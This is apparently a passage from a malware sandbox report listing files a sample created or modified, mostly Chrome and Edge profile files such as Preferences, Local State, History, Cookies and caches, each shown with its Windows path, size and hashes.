MD5 2c9c2f09516de1966cf1b7dd6d037204
SHA1 b29038bbbb1e4384d9032f755d02ece4817347d8
SHA512 e2ce75c57b99e37238f5eb610135e30ccac8949adba16c2e8c217fb1ad5b580fea2f92e7045d8e1271c197af3356400a207ca3d24fd3d1a26ed3e8d7b7857ced
SSDEEP 192:RRF2kIAaDnv7lpupAPRp209fHsb+WNnqCd/zRepbQl2/fahuVyIsnAUgtaJ:RRQkwvZgUXzRwbdN22m8
TLSH
T15442C82DAE14653B5CCBD32AF9227B53D3F5103625D41D80E6FC9A2C29D7ACD2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 fd0caed01f84ca6900e05205b7d3ff4575da2f76b12ebf5c2f7b042f6708d344
MD5 6812dc9b97d2c082a802ffbe27772888
SHA1 b8c795d02e211263389d3e4a9930b702088fdcee
SHA512 ebdfc04969edd4251c2d8e6b8d351831c7cb7bf34cd828789b52799aa95421fffba0980c48c05dc724ffc85ddd17e84bdb29a484a88d6c8d3001b00db241b13f
SSDEEP 192:RRF7QIAa9nv7lpupPPRpLilr9fHsb+WNnVZGHnerzRepbQl2/fahuVyIsnAUgraJ:RRVQevZgtXoRwjqex22me
TLSH
T1E452D82EAE14693B6CCBD21AF9227B57D3F5103625D41E44E7FC892C29E7ACD2217017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 55682a0d0d28b1e121cceb01dcc7aa228e8f1d699d62049f089704388b391c8e
MD5 2e10da12cb0f60797669bd85acce6df4
SHA1 554af6f872e40910b5b6e4244c37564b884efafe
SHA512 a2fd587c4abb76c2f2064bcaf28239d2e0ac148919b3438585c2d9de9c4aea40a1936c26e2938b4ea6a453f4f7c235fbd6404fda5047033f747320835f88d289
SSDEEP 192:RRF2kIAa9nv7lpupAPRp209fHsb+WNnVZlUzRepbQl2/fahuVyIsnAUgtaJ:RRQkevZgUXzRwjlw22m8
TLSH
T19442C82EAE10653B5CCBD32AF9227B53D3F5102625D41D84EAFC992C29E7ACD2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 4e693eabcd973244f1af25bf22f42e29026d616db99fe743deb15faf7f6dc32e
MD5 091a4fd691a3b1f3f41a57681a27466b
SHA1 8981f84795d60498063cdca9753edbfd9a97382f
SHA512 716ee149fc4629dd540d4aef8cf5206820638295988ce6e63df85a7bb2f912e4d89a6cf98b18f0afaa1ee56d8864bf876923ff6b31bc923df787ef345135daa7
SSDEEP 192:RRF2QIAa9nv7lpupAPRp2ilr9fHsb+WNnVZGHneyzRepbQl2/fahiVyIsnAUgraJ:RRQQevZgUX3Rwjqei22ie
TLSH
T1B452C82EAE14693B6CCBD21AF9227B57D3F5102625D41E80E6FC892C29E7ACD2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 dd58006335e5d251d702ebe212beb193893e0a9bf49b9fe7721d8714f0427b53
MD5 6f32998f2d79544d808bf7768d516857
SHA1 bd284adc3bc4a7edb15fbf562d0bc5dcd269a9e2
SHA512 1dd5dd269fdb3ed13c2d809c47dac1d9298aef6e4d8657e530389371af0d7f0ef5361e19e1479fb5c3218d44512485da7058d31148661aafc6eea62851525f66
TLSH
T114B0125080016111D04207F4114224CC7318DF11D60B170163E06D738A25160C0140D0
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe584a04.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe584a04.TMP
Size 96B
SHA256 f20dd3f434dc22c91e32bbe285bc1e2ca6a6b819715fd36bac020a5516423251
MD5 fe048925cb3e4aa7e37fe5be860a5edb
SHA1 251c2075ebb91b06f51399eb5ed0470bd23c458d
SHA512 783a4b9679deeb706c93c79a41f4cd08fc1d5d73ab7f484a6649462209eeb0c7ff9e1693b045d392dc14d09a7ca417f01f30abce3847c52c18d647e21fdf775a
TLSH
T153B02200C0032223C00203F02C83A3C83020CF30C20302228BE80E22EC283320020CB0
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 235KB
SHA256 4b375e4d4e901b8c3f90afacf3bd19ab6d121db839b32256d36d68c5c6074a64
MD5 3cebfd664a60027ca168fbb1bd31f9a0
SHA1 93a9350738eeea842288dce260ac66e320060e3e
SHA512 ca80670e991c3718ad506a31686332d6b872016e6d1f402b0c1225791eaa38cb1bf99a943f470ffcacd65c7f13a1b0b67566c427e8f58c70d938daea5ba8d4c2
SSDEEP 6144:HxKcvfHpY1X0AkL69mn8lN/9n9JpPf+zfAk3Wbhi:RKwPyX0Abk8lNVVgfaFi
TLSH
T1CF342310CCBACFA7D4C89A3BA0E667F67F759A9527E56483C290B6853F4970063E4334
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 235KB
SHA256 6cf18893e20649b0d4725bfa8cddfa82476574ef97dc857cf26aac649b3cf80e
MD5 9de0d5607762bd44db1bbd393e4240d7
SHA1 23f7b5366854d911cafe013e6380867c20c3661e
SHA512 1abc2a0d5a4b94fc3f28aa6ef9fff10a1e382230db5b034a93b5486c65a77a25c692f764c11f3a75ee5a3fc3fccb11dc0d80ea6dee731d5ae5bca6ac9a38149a
SSDEEP 6144:UxKcvfHpY1X0AkL69mn8lN/9n9JpPf+zfAk3Wbhi:KKwPyX0Abk8lNVVgfaFi
TLSH
T114342310CCBACEA7D4C89A3BA0E667F67F759A9527E56483C290B6853F4970063E4334
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 5767e0dd7f8c4103594620f96ad74f1fe06d506f3f7ef561f37dddb2af8e6ec6
MD5 663d54cb91fa124e720b7c5a509ebd0c
SHA1 c0d080cc03490e4c84e4a9403f4d034d20af9fdb
SHA512 7bda074791c537e2c47465253b5304314744d453436785c107316f29086bb32b87e89b348c0ee865d355485a6a846162ecf94210764390404d369824b537b388
SSDEEP 1536:nMueL6TFpmkUjlTArhJ+vgVuFM8r51TRB+BsJYuRZa8pSgeDAkwdqf8Wg+95h6mq:/DFpmzNA9J+zfAsJDREge7oWg+95hy
TLSH
T18EB30212CEAACE9BE4A49C79A4C413F3BEBD5F9523F1B9424166E4423DCE7042391770
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 236KB
SHA256 d14fb04ddaf71f3ef2df11dff9449f36df2efc32ba3a40d4da4841b384ecc5f7
MD5 ce914f5e49771194924a89e0f98fc72b
SHA1 720cfe07b1764bfb741cf4629509124680d828ae
SHA512 3226f7fb7c305be1148d913b213d1ceabd1b34e6e69a486ce012c21509113820aca59fb74726831c6f2f8bc97648410b62db2f549166866e6b9d46edab7ff1a1
SSDEEP 6144:x+xKcvfHpY1X0AkL69mn8lN/9n9JpPf+zfAk3Wbhi:CKwPyX0Abk8lNVVgfaFi
TLSH
T1813423248C7ACEA7D4C89A3EA0A637B63FF49B5567E46882C290B5853F4D31063D9374
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 236KB
SHA256 35123ef96c8a9ea4db414c74a6d75f59ca56864121a6ab04a4f1e3d3b48dcbfe
MD5 0849baa23905346957fbca8010671bdf
SHA1 ade50a928fbd640097a2c973f76c71aa75a85ab7
SHA512 46c129c26dd300d0fae42671f6b16ed627bb35c9e9aa294e558bfb1b46995b59b2718e3c408881249db21a092543458e0a9a39b69232746861a721081754e60c
SSDEEP 6144:N+xKcvfHpY1X0AkL69mn8lN/9n9JpPf+zfAk3Wbhi:mKwPyX0Abk8lNVVgfaFi
TLSH
T14E3423248C7ACEA7D4C89A3EA0E637B63FF49B5567E46882C29075853F4D31063D9374
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.12\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

protocols.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.12\protocols.json
Size 3KB
SHA256 2edf732da5fd827859e7a1a5b69a4a622cfc416f60a6ae04154d5aad3a1bccec
MD5 5e2067a92dcfcb05537479c384a89725
SHA1 eeed29b07d865ac4d46629fddadad629d0ad4e2b
SHA512 c96c5f9cb7a169ad91b070b567cf9fa8f35951ccc5aa930e97dbeccbeac27f7e9dde1379138c9ba6b0d10339f9cb053ef21f19f06d7560f97d5d23a27c8ed4f6
TLSH
T17D7184B7862088194E360AB4AA0DF10DF93702DF2AF598D3B27D455F1F712BB3946249
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7b9dac8593d827b7b825086ba5eeec776b808b8429eb90a6b645c319ec8f1435
MD5 c16a98ebe36bda7f5aece00f9ac1d0d0
SHA1 ef2e2a8775d1ebc0124f0ba983b6f20777919000
SHA512 148affd9dbe6aaee9070c22e41bc916df527cec5741753ca2733855f500e4eef0a257445d281d79c2449f8265c41b54dd53ffe57650802594b1211b0db611349
TLSH
T1ADD012273B0DA054E7A9C2729613C7921BB6646174434B01E315C95C99B54D412D6183
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c17dc8315075bb661bddf6b1efa879b9a3c39af13982f986bd287f5bc861cbdf
MD5 9573474710d1de6302a0d98890d2faae
SHA1 618b9f2079a97625be399f6137e46655659ecff9
SHA512 a345b915a4191d30d0da665ea4f78297c0cd671a5767e05c415403efb649110868fb279d22dc496792452c325e19b00f5e579f6e014a4488c9a4d6fac83d1c46
TLSH
T118D012273B0DB054E7A9C2729613C7921BB6646174434B01E315C95C99B54D412D6183
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2af9d181638231328c7e8de2df758443eb65254c218fa9fef6978d419af395e5
MD5 aa3abd00681f9de5f6b6ca0892d1486a
SHA1 9caa56b1177e754977407e12be7bb74f944d3115
SHA512 da6e26d49fbd513bd2f8477e08452cedef80fab6c154d74f29a2c64ce138e35b9f26bbcdf57efd2e520eee6aabe909a4c9fb55c897ce703b484603afdfe17a3b
TLSH
T1E1D023753B1DF1E0C37C403A073042C11772056230434741A2058C0CDEB004052EBDEB
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 62516eb256e45c97d47b0a524609b5db9193218609c5579dc6dd0d35cab8cd29
MD5 45786ce92b34a2a323de75186b6c1b09
SHA1 ecc6ad8c4af5ae419e0cf43b991054b7bc765ea8
SHA512 db02d2916865e56195df37c62d929a94151c68a94c7ba9fbf57de4b16370d99a313e53b457d108046603855a30358e253698bdd7c6eff861a9a4f940e59b8a5e
TLSH
T1AFD0A7B4770DD660C66D80365921A2925BB2556030578B629155984C99B405492EE49A
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c88ee500905b263075630e34702e3d24c9335202262cda08c27e8a4dd5678f42
MD5 32321dec256c205b7eb197e3a5bc9089
SHA1 f17188f7e298efb2c8178f1da188be1c13fbb841
SHA512 ebf29aacc037c7687ac769ffca88e81d484ed675583f2e532741364055ec1183ed3ebbddced544e3fda25cbc770df6ae4434f08e0595188b4c2ff35b8ac63618
TLSH
T1F2D0A7B47709D660C65980365921A2925BB2516030578B629155984CA9B406492EE49A
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 cb72327bcc7b8b37a5e878a88db67a737fdbe66da6f1cadd44d9dcad1b89b3a4
MD5 d7961826b741b4a71f71c35f262378d3
SHA1 d11e1421b7a3326a2b2f617b4b27b80f02bbcf38
SHA512 1215cfede350939512e13ffd1c2e2c6c478f80b81ec473d3894f39af384daa90947c6396dbd6f6cdec777edc252695eabe4817dbc65374f04991c72a2abefd22
TLSH
T1C4E026A50DCAE36E9A007487A168634DC2C2361FDAC8B94A2B0484C430C2891FAE29B4
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 d51f2efdb479638be5a7131f132c0bc63d02ad7d4335ce121815a69616e81d6e
MD5 523dad961201d8e48c5b2358c86f3db7
SHA1 c6ea4d8da281d468a64f94845df926e79ee11923
SHA512 2536fe8249cf718f020164f009c3be4fbffda7e6011e54a9a4e6dc5d60776fa77426c18baf398aaa8a55883c5c1096b57ca4c45cb7e56f27c6e8fe87879b1be8
TLSH
T152E026E406CAC39E971064C752BAB74DC2C1360E9AC8FD4E170089843401892F7E29B0
MD5 SHA1 SHA512 TLSH

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 c032abe31c63a32bfdfd85b8329931bad8712264978c7f720aaeef9d18e48bbb
MD5 d5ccc181cbc05fb55ea53b7804be2606
SHA1 2829fd2b4a8afb6f13985e11d920b04ef5c03e55
SHA512 aee01fc1d932eb481754b7d62c97a728e774331028d364d6df47b4b39b8ac47d0e49f2edf4f81f2a4d4c24f4777351cddd0812340aa953395587c50ccaa6f0b3
TLSH
T1EAE0ABE9CC21B83B0CFD272980201745EB4023571B41491F3B3DD10D8FB1A3A0245C6C
MD5 SHA1 SHA512 TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 fa9b327b8ea066c04eafd606375be10b1365d6bb260cd458d0a2dbc6325bcec4
MD5 5d5242c3e102bc70e3b3aba449b6c3e0
SHA1 cc5ac2ba455587e8633f2990e3db4200a73b186f
SHA512 ea315b3a08967886a426cf0eeceed7969a177b61fe668feb692c4056fe13fee1dba45013e8afa76105a6bf35f71a32d6c1a853b7df1dbdf3903a8566a8234386
SSDEEP 384:vKS1f1YphRUxpLRvQoT9heVVk/8y1TudrssbobiNRhdbh:SEf1YzOxpLR4oT9hkk8y8RssbgQf
TLSH
T1F8133BBEB6061D15FACAC5FC158B0ABD672AF969DED443A373F730801B3075A690E024
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 9a19a8d4e17bd65896788ad212cf7da1bfc7191b4aecdd22fbaf71fca596a2b5
MD5 4a819de051f48fec8e34c1b7ef2efd76
SHA1 75cd922546b417d79a9455f9d9f3ea0f9402ed4c
SHA512 d2ad604c1e87a54baecfeee8d24d628d360d3bccded150c677f46cbd30c3edba53675e8008b71056f106f7d10028f1dce7315ec8c5cee8674b4d261b6ce003dc
SSDEEP 3072:doJV5bGVIDJP5L/pL/X4OemL/dL/98kN/HRb:doJV5bGVIDJP5L/pL/X4DmL/dL/KSH
TLSH
T105446FF70951A01BDFA842F5E3033A3DD17B055D6DD1E9EAE6B80CC12835B22B6BDA44
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 bd6138c0730fb8dc554461f279b8a199fe9357d0d6033630d08049764f631eb6
MD5 905d111587b27a4e6da6b88e5a676f99
SHA1 a10516641c198d979033d6bde911b4fa9c911ed7
SHA512 b1e6e8a4a7a9c730611947da13d3a1a12fa983276ae6f4378aa685244abe8a3ead085eb3770c34585489ff3320f941eee1ada1402b2c3d82de8091bf0763a57c
TLSH
T115612E859553445CE3DD0FB368C112383B73B7F90AA74E5990D49CB7AA33B2249950F7
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 94c57677bd18fa7481384f18fbdd5239c18e23b434e1f3fe1f7c6759a684c134
MD5 842c5263ecd1dedb4e208d632bc98929
SHA1 3b4eba8e26c5b426deb6a52e73bd5d8d0356cf6f
SHA512 02c940f03d7141e94e77c59c8fd48a908c545ed36ebb9481a22f0ae0e2f85cdcb6e60443e1bf81a31d90a56fd5a620603f2157584fe2940036e42cdb851a02fe
TLSH
T1AC7161859153449CE3DD0FB368C102383B73B3B51AA74E5950E4ACB7AA33B2399551F7
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a005f.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a005f.TMP
Size 3KB
SHA256 88e2de571639ced3c4ed85166834d84413e2529b6d528f7a68b962c6e7d744d3
MD5 d88775a332db97c316917966e557bf38
SHA1 deb496b376b772a458eca32517acf3db939733b6
SHA512 a10cf87fdac303de33f046efb23da76d5cc2cef3656ba33e7fa36df4816ad27496fe3dff4a7298183129691d690b096c082e6f5ee18c2886f4b4dc8f4d9a6251
TLSH
T1066171069153405CE3DD0FB358C212343BB3B3B50EA74E5990E498B7AA33B6389650FB
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnGraphiteCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Size 322B
SHA256 2c070b1e2a150817c19cca33508940ad4aed37aee1fbcf81b87da549d84e4fba
MD5 af851767e37f7bdf5e2bf749f3d33fb7
SHA1 56f3781bc71e0e54ca06bb1534f5973be37fa72e
SHA512 6a3cd84d662fe1267d41a29419b9511125c0f10fdb3413cd61d384f618b9569701f2268782b542d972a991a01bbdc84de7f9da578605980a4b5e67420f460ec7
TLSH
T1B9E0C87409CDD3395D2D64D3C37C738D97F77446F6847E113709A850720199676D7960
MD5 SHA1 SHA512 TLSH

Submit Download

Favicons

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Size 20KB
SHA256 52d5cbe18a8771ae60b47f1f0a81e7fe2adb472bf925419a488938dc8bf17c2c
MD5 d95406b09c6973c7917db5bcb6bf250d
SHA1 1b44b7160aa96de426c2c67ec57bb875df11feb2
SHA512 ed90e143ba358efb92140a5044ae00ba9c9a1497eae87cdd789625441e4b6d80f97bc5efe6f7f4144875703a6f02f6e611636c0a73c957156b61793bf9833c82
SSDEEP 48:uzBmw6QU1PzeJIsv8EWJ6lXbqpJ6ZRfc1mNYMo3foTW6ZsMYuBKBuJIOX:6BCxeisv8p6hep6fcQYM0foTxZstIiOX
TLSH
T1FB92E70B5F343407EBA51D7A271A44359D3E816E9FDB8E64343960524CF88C360B9AFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 204KB
SHA256 40ec2e429ef01bbbfa453ec19e35a986e82ae84887f3ecc7dcc2e8c798a38383
MD5 6461cee0afdf6a1614ffa9f4227c4c04
SHA1 919d47e817b8d7d728c98dd9e3cb360b6491b24c
SHA512 c92d9b91d0710e79e091b6cbe8aaf85f8a96e75527b9954907a89778ead21e2c15132e05919e0b011d00c00d6d76463915553a296ee47b809bb7d4066a4e664c
SSDEEP 384:86isca83uFBBQ1GkS3iisiUziULiUKiUK7DNspUc:86ThFBBl9iX3z3L3K3jUc
TLSH
T1FB14515F4F302312CDBD917629E644A36C6DF03FCB5266DA6C610471CEE3692A06C9BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Size 331B
SHA256 d25c5cb21e5842024a433e23cd6ad248e8105d2da8540031bb8ade2af52298b6
MD5 5c16e8b0d0722f8586c5b8b6149561c6
SHA1 8b6627e9eb175812abf54c2978ea855ad108c519
SHA512 87fef69f4098867627696feef35e0ca02f30aa6228bd3d77a2fff2122f959237ad67e222101d76875236e81f4c9593f60507d840896aa234a31343ffe2037b23
TLSH
T119E0D8B044CEC2B95615A09F631C7B48E7F1740AEA887A412B04A844B001444F2D36E1
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 20KB
SHA256 ae8824aa4800fd9f9a47f4cd96d1573fda4f1db6b19f93ebeff879d4519b6935
MD5 70532a6247004a6e74937cbf9fc64c7f
SHA1 a7bccd75117a3b18c1f5cdf04c43b669f484abe5
SHA512 4d5954f60b5912052ad5d8a96728d8c738e67408a4ac08f70dd1e0840dcd61d107b26d296e0b2d7547535ca90c875dac0d7515df8d992c1055b0b00e594268e0
SSDEEP 48:T2SLopFMatSaw/auUOt8BWx8dD+/eV/HwzCoUwGxpa6uuwH:iSeMatUaAKWMwQLxpa+A
TLSH
T19092550F1F343252C5F64BB2E9D5C5172EBC102DC36366A8A94490B3DDA2147E50B1BB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 4KB
SHA256 7c2af69af84da19fc3b7f34fdc0c1be314a5a824dd0cd41b9d82c273a975c18b
MD5 9e17d26f53c45ff0123bf23edf3f660a
SHA1 2f650e128a9287df9dc10a2e7e0ece113f95352b
SHA512 96081c3f35c66f6e066938ad31e388722d30be6ba581601f0507300b37513138ba70e09df60141d5629b9ceebc0665c890ba09d4b0287b3010efde9d1fc37505
SSDEEP 96:D1aOXdNpLaaij6KzBnvrQGwB5JvvpWiDX636qqz/f:D1JXdNhaaij6K1nvrQGkbvvkiDX636qe
TLSH
T103A19CF7C3E4866DC91152F4AA143E1BCE2D0525536C3C2BC5D8AF5BA3F24B1E28164E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 f0e254b2100b842777492935f21508a2840df31695a9b9cb67f386ceecd648d2
MD5 a32a0e6acd82b314f83887f476c08468
SHA1 dc18d7fab9a7e78edb18eb732f9a18e620c165a7
SHA512 d07ca76d726a261e30cc21aa300dde03ff29b32eb1b293ae721265b182201733dbdb45f90fe104bdf198fdf2964be57292a86f3cf375ae63b26ee03afe600692
SSDEEP 192:D17hAN+M73aij6KH2rQGnvQZTG6dz/o+6I1pk9Sybi:D17hAN+M73aiGKH2rQGnvQZTG6dDo+68
TLSH
T140D18AF7C3E4866DC91156F4AA143E1ACE2D0524536C3C2BC5E8EE5FA3F24B1E28164E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 7KB
SHA256 cc645af6405bd5d124af5d0e77c0a56731ceb8123c24fc94ad23cb076747ab76
MD5 c8f91de39691c3ec98cc77dceeffe31a
SHA1 5934a4fa36e2688cb3bc78b3df9cd9c2d40c29bb
SHA512 5b2302c98f0f7451ec6f2f8aaad8a7ea4f7f1adb3fd84ff8675db8a22d1186d07009c76a71494291926a8574507d50ebb8b287702f867baf5a01c2e4c6a93d5b
SSDEEP 192:D17hAN+M7jxaij6KH2rQGnvQZTG6dz/K6Ijk9Sy6aI4i:D17hAN+M7jxaiGKH2rQGnvQZTG6dDK6o
TLSH
T19FE17BF3C7E4866DC91156F4AA143E1ACE2D0528536C3C6BC5E8EE5FA3E24B1E24164E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 17KB
SHA256 cfb2b546259b72d56af74b6f720e7d6de5d7cc8e71040e935977b8154592771c
MD5 9e7ad9b71dfea6953edb50d5b7f98330
SHA1 18a5fae4b33a754e3572b0b77d5f25aac9453b80
SHA512 efd85324b69ba4dcd853cae67dc97ebff2dd43ff5c54cb6fc15cdfc5b0d23080e67ad28d8d97b4ab3251bb4cb67607521fa0005b37a430a0dd43a59cfa3aff84
SSDEEP 384:sxZUsSg/fjsrWvMZfUei2RM/biI8Xe/fgI+F:s8dg/fsYMZfUD/biIie/fW
TLSH
T1D772F916AA34597BDCEBD219F945BB53D6F8153391904E44AAFCDA1C04E6BEC2203C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 17KB
SHA256 48dfca5d1fe87b0e7f18d395208ee0546cdc7a2805d932a7b83fed98376f8058
MD5 bce62a8528661cf037e3254fba1058b8
SHA1 3f3f8e5996a4c17fd629caed9b012e859d965e5f
SHA512 6273089ea220669e58d0a05a78fb466c217a4444bc3d1eca73bec7876a61fc3943e3257a60079c74f349cc9358c78ed316132034efd3f99ac1c1e3a7094c78d8
SSDEEP 384:sxZUBSg/fjs0WvrZqUei2Rr/biIHydeAkBkoiW:s88g/fXYrZqUk/biImeAkX
TLSH
T1FC82F716AA74597BDCEBD219FA457B63D2F8153391904E449AFCDE0C04E6BEC220382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 18KB
SHA256 62fb315f1f3959072305efe5415eb122a33fcb0020ecbd19b1bfbf1142cb1ece
MD5 2d606238aec0c9a274c0b981e819b5c0
SHA1 2be827010861c760788039fd87a9ad2e682b3649
